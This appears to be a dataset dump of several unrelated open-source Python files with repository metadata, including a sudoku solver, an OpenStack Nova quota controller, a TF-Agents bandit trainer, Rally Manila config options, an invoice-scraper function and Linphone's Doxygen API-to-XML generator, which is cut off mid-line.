import numpy as np board = np.zeros(shape=(9, 9)) count = 0 def solve(): global count count += 1 if count % 1000 == 0: print('\rCurrent number of computations made:', count, end='') freePos = find() if freePos is None: return True i = freePos[0] j = freePos[1] for w in range(1, 10): if possible(w, freePos): board[i][j] = w if solve(): return True board[i][j] = 0 return False def find(): for i in range(9): for j in range(9): if board[i][j] == 0: return [i, j] return None def possible(value, position): # position = (i, j) tuple i = position[0] j = position[1] # checks row and column for repeat value if (value in board[:, j]) or (value in board[i]): return False # reset to i,j - top left square i = (i // 3) * 3 j = (j // 3) * 3 # check all squares in square for n in range(i, i + 3): for m in range(j, j + 3): if board[n][m] == value: return False return True def change(position): # position = (i, j) tuple i = position[0] j = position[1] for w in range(1, 10): if w not in board[:, j] and w not in board[i]: board[i][j] = w return True return False def initialize(): print("Please enter the values on the board starting from left to right, top to bottom, 0 for blank") integerChunk = input("Numbers: ") pos = 0 for i in range(9): for j in range(9): board[i][j] = int(integerChunk[pos]) pos += 1 def displayBoard(): for i in range(3): for j in range(9): if board[i][j] == 0: print(" ", end="") else: print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") print("- - - - - - - - - - -") for i in range(3, 6): for j in range(9): if board[i][j] == 0: print(" ", end="") else: print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") print("- - - - - - - - - - -") for i in range(6, 9): for j in range(9): if board[i][j] == 0: print(" ", end="") else: print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") def main(): initialize() print("Is this the correct board? Press enter to continue or 'q' to exit program.") displayBoard() response = input() if response == "q": exit() print("---------------SOLVING---------------\n") solve() print("\r\rSOLUTION") displayBoard() print("\nTotal number of computations:", count) if __name__ == "__main__": main()

23.633588

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3,096

3.342365

0.238916

0.022108

0.056743

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0.344878

0.32056

0.296242

0

0.029963

0.396318

3,096

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0.696094

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0.19802

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null

0

null

0

1

0

8660a9342ead6210c470087662e4e506c3d6349b

2,863

py

Python

nova/api/openstack/compute/used_limits.py

bopopescu/nova-8

768d7cc0a632e1a880f00c5840c1ec8051e161be

[ "Apache-2.0" ]

null

nova/api/openstack/compute/used_limits.py

bopopescu/nova-8

768d7cc0a632e1a880f00c5840c1ec8051e161be

[ "Apache-2.0" ]

null

nova/api/openstack/compute/used_limits.py

bopopescu/nova-8

768d7cc0a632e1a880f00c5840c1ec8051e161be

[ "Apache-2.0" ]

1

2020-07-22T21:09:15.000Z

# Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack import wsgi from nova.policies import used_limits as ul_policies from nova import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {} for display_name, key in quota_map.items(): if key in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return tenant_id return context.project_id

35.7875

78

0.625218

321

2,863

5.395639

0.423676

0.034642

0.025404

0.046189

0.161663

0.116628

0.079677

0

0.00441

0.287111

2,863

79

36.240506

0.844194

0.204331

0

0.181818

0

0.151502

0.02871

0

1

0.054545

false

0

0.109091

0

0.254545

0

null

0

null

0

1

0

86612e58c1d3c9004b21a40197263a8e6dc182a5

7,362

py

Python

tf_agents/bandits/agents/examples/v2/trainer.py

howards11/agents

8d5627d9b9c3680468a63564c25a4d82fa1befb0

[ "Apache-2.0" ]

3,175

2017-09-08T18:28:32.000Z

2022-03-31T01:32:22.000Z

tf_agents/bandits/agents/examples/v2/trainer.py

MFosset/agents

756f7bdf493986c25eb585438134f1dbb8045b1b

[ "Apache-2.0" ]

703

2017-09-18T05:51:57.000Z

2022-03-31T17:37:50.000Z

tf_agents/bandits/agents/examples/v2/trainer.py

MFosset/agents

756f7bdf493986c25eb585438134f1dbb8045b1b

[ "Apache-2.0" ]

844

2017-09-08T23:28:57.000Z

2022-03-30T09:29:32.000Z

# coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. r"""Generic TF-Agents training function for bandits.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from absl import logging import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from tf_agents.eval import metric_utils from tf_agents.metrics import tf_metrics from tf_agents.policies import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): """Return a `TFUniformReplayBuffer` for the given `agent`.""" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): """Returns a `tf.function` that runs the driver and training loops. Args: driver: an instance of `Driver`. replay_buffer: an instance of `ReplayBuffer`. agent: an instance of `TFAgent`. steps: an integer indicating how many driver steps should be executed and presented to the trainer during each training loop. """ def training_loop(): """Returns a `tf.function` that runs the training loop.""" driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): """Restores from `root_dir` and returns a function that writes checkpoints.""" trackable_objects = {metric.name: metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest is not None: logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to step %s.', step_metric.result()) else: logging.info('Did not find a pre-existing checkpoint. ' 'Starting from scratch.') return checkpoint_manager def train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): """Perform `training_loops` iterations of training. Checkpoint results. If one or more baseline_reward_fns are provided, the regret is computed against each one of them. Here is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards = ... # compute reward for each arm optimal_action_reward = ... # take the maximum reward return optimal_action_reward Args: root_dir: path to the directory where checkpoints and metrics will be written. agent: an instance of `TFAgent`. environment: an instance of `TFEnvironment`. training_loops: an integer indicating how many training loops should be run. steps_per_loop: an integer indicating how many driver steps should be executed and presented to the trainer during each training loop. additional_metrics: Tuple of metric objects to log, in addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms the data items before they get to the replay buffer. """ # TODO(b/127641485): create evaluation loop with configurable metrics. if training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records the number of individual rounds of bandit interaction; # that is, (number of trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None: add_batch_fn = lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn, step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100 == 0: saver.save(os.path.join(root_dir, 'policy_%d' % step_metric.result()))

37.948454

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0.291925

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7,362

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null

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null

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1

0

86614dcad65e20388a5967a40083bdb556db6db0

2,469

py

Python

rally_openstack/cfg/manila.py

RSE-Cambridge/rally-openstack

32bbc091bbce1db625a2fc22da28b32718befa13

[ "Apache-2.0" ]

null

rally_openstack/cfg/manila.py

RSE-Cambridge/rally-openstack

32bbc091bbce1db625a2fc22da28b32718befa13

[ "Apache-2.0" ]

null

rally_openstack/cfg/manila.py

RSE-Cambridge/rally-openstack

32bbc091bbce1db625a2fc22da28b32718befa13

[ "Apache-2.0" ]

1

2018-12-10T12:31:27.000Z

# Copyright 2013: Mirantis Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from rally.common import cfg OPTS = {"openstack": [ cfg.FloatOpt( "manila_share_create_prepoll_delay", default=2.0, deprecated_group="benchmark", help="Delay between creating Manila share and polling for its " "status."), cfg.FloatOpt( "manila_share_create_timeout", default=300.0, deprecated_group="benchmark", help="Timeout for Manila share creation."), cfg.FloatOpt( "manila_share_create_poll_interval", default=3.0, deprecated_group="benchmark", help="Interval between checks when waiting for Manila share " "creation."), cfg.FloatOpt( "manila_share_delete_timeout", default=180.0, deprecated_group="benchmark", help="Timeout for Manila share deletion."), cfg.FloatOpt( "manila_share_delete_poll_interval", default=2.0, deprecated_group="benchmark", help="Interval between checks when waiting for Manila share " "deletion."), cfg.FloatOpt( "manila_access_create_timeout", default=300.0, deprecated_group="benchmark", help="Timeout for Manila access creation."), cfg.FloatOpt( "manila_access_create_poll_interval", default=3.0, deprecated_group="benchmark", help="Interval between checks when waiting for Manila access " "creation."), cfg.FloatOpt( "manila_access_delete_timeout", default=180.0, deprecated_group="benchmark", help="Timeout for Manila access deletion."), cfg.FloatOpt( "manila_access_delete_poll_interval", default=2.0, deprecated_group="benchmark", help="Interval between checks when waiting for Manila access " "deletion."), ]}

35.271429

78

0.651681

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5.444444

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0.579719

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0.432398

0

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0.258404

2,469

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false

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0.018868

0

0.018868

0

null

0

null

0

1

0

86624e00bb7b419aff83121a582546742f805433

571

py

Python

app/backend/app/crud/crud_register_invoice.py

matayoos/invoice-scrapper

d36c944c10714e61d304693d0fce28769d2a746a

[ "MIT" ]

null

app/backend/app/crud/crud_register_invoice.py

matayoos/invoice-scrapper

d36c944c10714e61d304693d0fce28769d2a746a

[ "MIT" ]

null

app/backend/app/crud/crud_register_invoice.py

matayoos/invoice-scrapper

d36c944c10714e61d304693d0fce28769d2a746a

[ "MIT" ]

null

from sqlalchemy.orm.session import Session from app import crud from .utils import insert, get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content["grocery_store"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content["invoice"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content["items"], grocery_store_id, invoice_id) return crud.get_invoice_by_id(db, id=invoice_id)

27.190476

83

0.749562

83

571

4.807229

0.313253

0.180451

0.140351

0.100251

0.220551

0

0.161121

571

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0

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0.076923

false

0

0.230769

0

0.384615

0

null

0

null

0

1

0

8666c057450744d94668536ee8580d907346f31a

28,602

py

Python

tools/genapixml.py

garronej/linphone

f61a337f5363b991d6e866a6aa7d303658c04073

[ "BSD-2-Clause" ]

null

tools/genapixml.py

garronej/linphone

f61a337f5363b991d6e866a6aa7d303658c04073

[ "BSD-2-Clause" ]

null

tools/genapixml.py

garronej/linphone

f61a337f5363b991d6e866a6aa7d303658c04073

[ "BSD-2-Clause" ]

1

2021-03-17T10:04:06.000Z

#!/usr/bin/python # Copyright (C) 2014 Belledonne Communications SARL # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import argparse import os import six import string import sys import xml.etree.ElementTree as ET import xml.dom.minidom as minidom import metadoc class CObject: def __init__(self, name): self.name = name.strip() self.briefDescription = '' self.detailedDescription = None self.deprecated = False self.briefDoc = None class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name) self.value = None class CEnum(CObject): def __init__(self, name): CObject.__init__(self, name) self.values = [] self.associatedTypedef = None def addValue(self, value): self.values.append(value) class CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self, name) self.ctype = t.strip() class CStruct(CObject): def __init__(self, name): CObject.__init__(self, name) self.members = [] self.associatedTypedef = None def addMember(self, member): self.members.append(member) class CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self, name) self.definition = definition.strip() class CArgument(CObject): def __init__(self, t, name = '', enums = [], structs = []): CObject.__init__(self, name) self.description = None self.containedType = None keywords = [ 'const', 'struct', 'enum', 'signed', 'unsigned', 'short', 'long', '*' ] fullySplittedType = [] splittedType = t.strip().split(' ') for s in splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum = False self.ctype = 'int' # Default to int so that the result is correct eg. for 'unsigned short' for s in fullySplittedType: if not s in keywords: self.ctype = s if s == 'struct': isStruct = True if s == 'enum': isEnum = True if isStruct: for st in structs: if st.associatedTypedef is not None: self.ctype = st.associatedTypedef.name elif isEnum: for e in enums: if e.associatedTypedef is not None: self.ctype = e.associatedTypedef.name if self.ctype == 'int' and 'int' not in fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def __str__(self): return self.completeType + " " + self.name class CArgumentsList: def __init__(self): self.arguments = [] def addArgument(self, arg): self.arguments.append(arg) def __len__(self): return len(self.arguments) def __getitem__(self, key): return self.arguments[key] def __str__(self): argstr = [] for arg in self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject): def __init__(self, name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument = returnarg self.arguments = argslist self.location = None class CEvent(CFunction): pass class CProperty: def __init__(self, name): self.name = name self.getter = None self.setter = None class CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription is not None: self.detailedDescription = st.detailedDescription self.__struct = st self.events = {} self.classMethods = {} self.instanceMethods = {} self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first = True for l in self.name: if l.isupper() and not first: self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower() first = False self.cFunctionPrefix += '_' def __addPropertyGetter(self, name, f): if not name in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].getter = f def __addPropertySetter(self, name, f): if not name in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].setter = f def __addClassMethod(self, f): if not f.name in self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments) == 2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else: if not f.name in self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self, ev): if not ev.name in self.events: self.events[ev.name] = ev def addMethod(self, f): if len(f.arguments) > 0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def __init__(self): self.verbose = False self.prettyPrint = False self.enums = [] self.__structs = [] self.__typedefs = [] self.__events = [] self.__functions = [] self.classes = [] self.docparser = metadoc.Parser() def add(self, elem): if isinstance(elem, CClass): if self.verbose: print("Adding class " + elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose: print("Adding enum " + elem.name) for ev in elem.values: print("\t" + ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose: print("Adding struct " + elem.name) for sm in elem.members: print("\t" + sm.ctype + " " + sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose: print("Adding typedef " + elem.name) print("\t" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose: print("Adding event " + elem.name) print("\tReturns: " + elem.returnArgument.ctype) print("\tArguments: " + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose: print("Adding function " + elem.name) print("\tReturns: " + elem.returnArgument.ctype) print("\tArguments: " + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n) for n in para.findall("./simplesect[@kind='return']"): para.remove(n) for n in para.findall("./simplesect[@kind='see']"): t = ''.join(n.itertext()) n.clear() n.tag = 'see' n.text = t for n in para.findall("./simplesect[@kind='note']"): n.tag = 'note' n.attrib = {} for n in para.findall(".//xrefsect"): para.remove(n) for n in para.findall('.//ref'): n.attrib = {} for n in para.findall(".//bctbx_list"): para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib = {} return descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for td in self.__typedefs: if td.definition.startswith('enum '): for e in self.enums: if (e.associatedTypedef is None) and td.definition[5:] == e.name: e.associatedTypedef = td break elif td.definition.startswith('struct '): structFound = False for st in self.__structs: if (st.associatedTypedef is None) and td.definition[7:] == st.name: st.associatedTypedef = td structFound = True break if not structFound: name = td.definition[7:] print("Structure with no associated typedef: " + name) st = CStruct(name) st.associatedTypedef = td self.add(st) for td in self.__typedefs: if td.definition.startswith('struct '): for st in self.__structs: if st.associatedTypedef == td: cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break elif ('Linphone' + td.definition) == td.name: st = CStruct(td.name) st.associatedTypedef = td cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) # Sort classes by length of name (longest first), so that methods are put in the right class self.classes.sort(key = lambda c: len(c.name), reverse = True) for e in self.__events: eventAdded = False for c in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded = True break if not eventAdded: for c in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded = True break for f in self.__functions: for c in self.classes: if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if not initializer.startswith('='): return None initializer = initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None e = CEnum(node.find('./name').text) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall("enumvalue[@prot='public']") for enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self, tree): memberdefs = tree.findall("./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']") for m in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname): name = node.find('./name').text definition = node.find('./definition').text t = definition[0:definition.find(structname + "::" + name)] sm = CStructMember(name, t) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall("sectiondef/memberdef[@kind='variable'][@prot='public']") for structmember in structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def __findCStruct(self, tree): compounddefs = tree.findall("./compounddef[@kind='struct'][@prot='public']") for c in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None name = node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef '): definition = definition[8 :] if name.endswith('Cb'): pos = definition.find("(*") if pos == -1: return None returntype = definition[0:pos].strip() returnarg = CArgument(returntype, enums = self.enums, structs = self.__structs) returndesc = node.find("./detaileddescription/para/simplesect[@kind='return']") if returndesc is not None: if returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning += "\tReturn value is not documented\n" definition = definition[pos + 2 :] pos = definition.find("(") definition = definition[pos + 1 : -1] argslist = CArgumentsList() for argdef in definition.split(', '): argType = '' starPos = argdef.rfind('*') spacePos = argdef.rfind(' ') if starPos != -1: argType = argdef[0 : starPos + 1] argName = argdef[starPos + 1 :] elif spacePos != -1: argType = argdef[0 : spacePos] argName = argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall("detaileddescription/para/parameterlist[@kind='param']/parameteritem") if paramdescs: for arg in argslist.arguments: for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in argslist.arguments: if arg.description == None: missingDocWarning += "\t'" + arg.name + "' parameter not documented\n"; if missingDocWarning != '': print(name + ":\n" + missingDocWarning) f = CEvent(name, returnarg, argslist) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else: pos = definition.rfind(" " + name) if pos != -1: definition = definition[0 : pos] td = CTypedef(name, definition) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return None def __findCTypedef(self, tree): memberdefs = tree.findall("./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']") for m in memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None internal = node.find("./detaileddescription/internal") if internal is not None: return None missingDocWarning = '' name = node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums = self.enums, structs = self.__structs) returndesc = node.find("./detaileddescription/para/simplesect[@kind='return']") if returndesc is not None: if returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning += "\tReturn value is not documented\n" argslist = CArgumentsList() argslistNode = node.findall('./param') for argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName = '' argNameNode = argNode.find('./declname') if argNameNode is not None: argName = ''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall("./detaileddescription/para/parameterlist[@kind='param']/parameteritem") if paramdescs: for arg in argslist.arguments: for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n is not None: arg.containedType = n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in argslist.arguments: if arg.description == None: missingDocWarning += "\t'" + arg.name + "' parameter not documented\n"; f = CFunction(name, returnarg, argslist) deprecatedNode = node.find(".//xrefsect[xreftitle='Deprecated']") if deprecatedNode is not None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode = node.find('./location') if locationNode is not None: f.location = locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning += "\tNot documented in a header file ('" + f.location + "')\n"; if missingDocWarning != '': print(name + ":\n" + missingDocWarning) return f def __findCFunction(self, tree): memberdefs = tree.findall("./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']") for m in memberdefs: f = 